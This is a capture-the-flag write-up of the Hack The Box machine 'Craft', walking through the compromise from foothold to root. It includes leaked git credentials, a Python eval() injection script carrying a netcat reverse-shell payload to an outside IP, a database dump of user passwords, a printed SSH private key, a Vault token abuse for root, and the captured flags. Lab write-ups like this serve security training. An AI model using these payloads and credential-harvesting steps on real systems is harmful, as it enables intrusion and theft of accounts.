

Craft Writeup


Hack The Box machine

This machine includes a webpage located at <https://10.10.10.110/>. The initial foothold can be found on the git page that is linked on this page. In order to get to the git page, the domain has to be added to the hosts file.

```
10.10.10.110 craft.htb api.craft.htb gogs.craft.htb
```

On the git page, you can find credentials in a previous commit by Dinesh.

Cleanup test Browse Source

 **dinesh** 8 months ago parent [10e3ba4f0a](#) commit [a2d28ed155](#)

1 changed files with 1 additions and 1 deletions Split View Show Diff Stats

+ 1 - 1 tests/test.py View File


```
@@ -3,7 +3,7 @@
3 3 import requests
4 4 import json
5 5
6 -response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
6 +response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
7 7 json_response = json.loads(response.text)
8 8 token = json_response['token']
9 9
```

Username: dinesh

Password: 4aUh0A8PbVJxgd

From the issue that is posted we find that the ABV field is checked for bogus values with the eval() function. This function can run python code.

Add fix for bogus ABV values Browse Source

 **dinesh** 8 months ago parent [4fd8dbf842](#) commit [c414b16057](#)

1 changed files with 7 additions and 3 deletions Split View Show Diff Stats

+ 7 - 3 craft_api/api/brew/endpoints/brew.py View File

```
@@ -38,9 +38,13 @@ class BrewCollection(Resource):
38 38 """
39 39     Creates a new brew entry.
40 40     """
41 -
42 -     create_brew(request.json)
43 -     return None, 201
41 +
42 +     # make sure the ABV value is sane.
43 +     if eval('%s > 1' % request.json['abv']):
44 +         return "ABV must be a decimal value less than 1.0", 400
45 +     else:
46 +         create_brew(request.json)
47 +         return None, 201
```

In the tests folder, we find the test.py script. We download the file or copy paste the code to a new python file. In the file, we add Dinesh' credentials to token request. We also include a payload in the ABV field that gets us a reverse shell: `__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.165 4444 >/tmp/f")`.

```
#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.165 4444 >/tmp/f")'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
```

With a netcat listener, we get a reverse shell

```
root@kali:~/Documents/Hackthebox/craft# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.165] from (UNKNOWN) [10.10.10.110] 39367
/bin/sh: can't access tty; job control turned off
/opt/app #
```

If we look around we notice that we are in a Docker container. So we have to find a way to escalate to the actual machine.

```
/ # ls -la
total 64
drwxr-xr-x  1 root    root    4096 Feb 10  2019 .
drwxr-xr-x  1 root    root    4096 Feb 10  2019 ..
-rwxr-xr-x  1 root    root    4096 Feb 10  2019 dockerenv
drwxr-xr-x  1 root    root    4096 Feb  6  2019 bin
drwxr-xr-x  5 root    root    340 Nov  1 10:54 dev
drwxr-xr-x  1 root    root    4096 Feb 10  2019 etc
drwxr-xr-x  2 root    root    4096 Jan 30  2019 home
drwxr-xr-x  1 root    root    4096 Feb  6  2019 lib
drwxr-xr-x  5 root    root    4096 Jan 30  2019 media
drwxr-xr-x  2 root    root    4096 Jan 30  2019 mnt
drwxr-xr-x  1 root    root    4096 Feb  9  2019 opt
dr-xr-xr-x 185 root    root     0 Nov  1 10:54 proc
drwx----- 1 root    root    4096 Feb  9  2019 root
drwxr-xr-x  2 root    root    4096 Jan 30  2019 run
drwxr-xr-x  2 root    root    4096 Jan 30  2019 sbin
drwxr-xr-x  2 root    root    4096 Jan 30  2019 srv
dr-xr-xr-x 13 root    root     0 Nov  1 10:54 sys
drwxrwxrwt  1 root    root    4096 Nov  1 11:04 tmp
drwxr-xr-x  1 root    root    4096 Feb  9  2019 usr
drwxr-xr-x  1 root    root    4096 Jan 30  2019 var
```

In the /opt/app directory, we find the dbtest.py script. We modify the script locally to print all users from the users table. And we edit fetchone() to be fetchall() so we see all results.

```
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        sql = "SELECT * FROM user"
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)

finally:
    connection.close()
```

We download the file with wget and run it. We get these results:

```
/opt/app # python3 exp.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman',
'password': 'llJ77D80FkLP0B'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
/opt/app #
```

Logging in on the git page with gilfoyle's credentials reveals a private repository, that contains his private ssh key.

The screenshot shows a GitHub repository page for user 'gilfoyle' and repository 'craft-infra'. The repository is private, as indicated by a lock icon. It has 1 watch, 0 stars, and 0 forks. The current branch is 'master'. The file path is 'craft-infra / .ssh'. There are two buttons: 'New file' and 'Upload file'. The commit history shows three entries, all committed 8 months ago:

| Commit Hash | Commit Message | Time |
|-------------|-------------------------------|--------------|
| 84736fb39d | Commit infrastructure configs | 8 months ago |
| 84736fb39d | Commit infrastructure configs | 8 months ago |
| 84736fb39d | Commit infrastructure configs | 8 months ago |

The files listed in the commit history are:

- id_rsa
- id_rsa.pub

We add the private key to a file.

```
root@kali:~/Documents/Hackthebox/craft# cat gilfoyle-private-key
-----BEGIN OPENSSH PRIVATE KEY-----
b3B1bnZaC1rZxktjdEAAAAACmFlczIINi1jdHIAAAAAGYmNyeXB0AAAAAGAAAAABDD9La1qe
qF/F3X76qfIGkIAAAAIAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAQDSkCF7NV2Z
F6z8bm8RaFegvW2v58stknmJK9oS54ZdUzH2jgD0bYauVqZ5DiURFxIw0cbVK+jB39uqrS
zU0aDpLyNnUuUzH1Xdd6rcTDE3VU16ro0918VJCN+tIEf33pu2VtShZXD rhGxpptch/tfs
RgV86HoLpQ0sojfgYIn+4sCg2EEXYng2JYxD+C1o4jnBbpiedGuqeDSmpunWA82vwWX4xx
LLNZ/ZNGcQTLvPMgFbxCAcDcTyHzYE7KI+0Zj7qFUeRhEgUN7RMmb3JKEnaqptW4tqNYmVw
pmMxHTQYXn5RN49YJQlAF0ZtkEndaSeLz2dEA96EpS50Jl0jzUthAAAD0JwMkipfNFbsLQ
B4TyyZ/M/uERDndIOk0+nTXR1+e0kudpQ/ZVTBgDJB/z3M2uLomCEmnyfyc6fGURidrZi
4u+fWUG0Sbp9Cwa8fdvU1foSkwP3oP5YzS4S+m/w8GPCfNocyCaKMHZVfVsys9+mLJMAq
Rz5HY6owSmyB7BJrRq0h1pywue64taF/FP4sThxknJuAE+8BXDaEgjEZ+5RA5Cp4fLobyZ
3Mt0dhGiPxFvnMoWwJLtgmu4hbNvnI0c4m9fcmC08XJXFYz3o21Jt+FbNtjfnrIw10LN6K
Uu/17IL1vTlnXpRZPHieS5eEPWFPJmGD07eP+gs/PiRofbPPDWhSSLt8BW00dzS8jKhGmV
ePeugsx/vjYPt9KVNAN0XQEA4tF8yoijs7M8HAR97UQHx/qjbna2hKiQBgfCCy5GnTsnBU
GfmVxnsqZAYPhWmJJe3pAiY+0CNwQDFo0vQ8kET1I0Q8DNyxEcwi0N2F5FAE0gmUds0+J5
0Cx7Xo0zvtIMRibis/t/jxsck4wLumYk7Hbzt1W0VHQAZ2fnI6t7HGeJ2LkQUce/MiY2F
5TA8NFxd+RM2Sotncl5mt2Dn0B1eQYCYqb+fzD4mPPUEhsqYUzI18r8XXdc5bpz2wtwPTE
cVARG063kQlbEpaJnUPL8UG2oX9LCLU9ZgaoHVP7k6LmvK2Y9wwRwGRRcRfLREG560rXS5
elqzID2oz10P1f+PJxeberaXsDGqAPYtPo4RHS0QAa7oybk6Y/ZcGih0ChrESAex7wRVnf
CuSLt+bniz2Q8YVoWkPKnRHK0mPOVNYqToxIRejM7o3/y9Av91CwLsZu2XAqELTpY4TtZa
hRD0nWuWsyL64tJTTxycSzfD7puSUK48FlwN0mzF/eR0aSSh5oE4REnFdhZcE4TLpZTB
a7RfsBrGxpp++Gq48o6meLtkSjQ0eZlklDxwj2g0fPtqG2M4gWnz04u2awRP5t9AhGJbNg
MIx0KLO+nvwAZgzFP5FVYB6cWRR3oH6ZSf+iIzPR4LQw90sKMLKQilpxC6nSVUPoopU0W
Uhn1zhbr+5w5eWcGXfna30Qe3zEHuF3LA5s0W+Ql3nLDpgo0NxnK7nDj2I6T7/qCzYTZnS
Z3a9/84eLlb+EeQ9tfrhMCfypM7f7fyzH7FpF2ztY+j/1mjCbrWiax1iXjCkyhJuaX5BRW
I2mtcTYb1RbYd9dDe8eE1X+C/7SLRub3qdqt1B0AgyVG/jPZYf/spUKlu91HFktKxTCmHz
6YvpJhnN2SfJC/QftzqZK2MndJrmQ=
-----END OPENSSH PRIVATE KEY-----
```

We use this key to connect to ssh.

```
root@kali:~/Documents/Hackthebox/craft# ssh gilfoyle@craft.htb -i gilfoyle-private-key
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov 1 07:22:27 2019 from 10.10.15.165
gilfoyle@craft:~$
```

The user flag is located in this directory.

```
gilfoyle@craft:~$ ls
user.txt
gilfoyle@craft:~$ cat user.txt
bbf4b0cadfa3d4e6d0914c9cd5a612d4
```

If we take a look at the hidden files in this directory, we find that the program vault is installed.

```
gilfoyle@craft:~$ ls -la
total 36
drwx----- 4 gilfoyle gilfoyle 4096 Feb  9 2019 .
drwxr-xr-x  3 root     root     4096 Feb  9 2019 ..
-rw-r--r--  1 gilfoyle gilfoyle  634 Feb  9 2019 .bashrc
drwx-----  3 gilfoyle gilfoyle 4096 Feb  9 2019 .config
-rw-r--r--  1 gilfoyle gilfoyle  148 Feb  8 2019 .profile
drwx-----  2 gilfoyle gilfoyle 4096 Feb  9 2019 .ssh
-r-----  1 gilfoyle gilfoyle   33 Feb  9 2019 user.txt
-rw-----  1 gilfoyle gilfoyle   36 Nov  1 07:34 .vault-token
-rw-----  1 gilfoyle gilfoyle 2546 Feb  9 2019 .viminfo
```

The vault token is: 3f7a7ca5-d391-cd9c-78be-6bae4d830d9a

If we run vault login with this token, we are authenticated.

```
gilfoyle@craft:~$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key          Value
----          -
token        3f7a7ca5-d391-cd9c-78be-6bae4d830d9a
token_accessor 058d8383-8740-ebd7-1246-34dd7baae7ba
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies      ["root"]

gilfoyle@craft:~$
```

We then connect to the vault using SSH. The vault is located at localhost.

```
gilfoyle@craft:~$ vault ssh root@localhost
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpas". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 8c68af81-eec9-35b7-8941-ffb5d66345fe

* * @()0oc()* * o *
(Q@*0CG+0()

Password:
```

The second warning tells us that you can use the OTP code to login. Copy and pasting this code in the password fields grants us access.

```
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov  1 08:07:02 2019 from ::1
root@craft:~# ls
root.txt
root@craft:~# cat root.txt
831d64ef54d92c1af795daae28a11591
root@craft:~#
```

USER: bbf4b0cadfa3d4e6d0914c9cd5a612d4

ROOT: 831d64ef54d92c1af795daae28a11591

If you like this write-up, please leave a respect at:

<https://www.hackthebox.eu/home/users/profile/176528>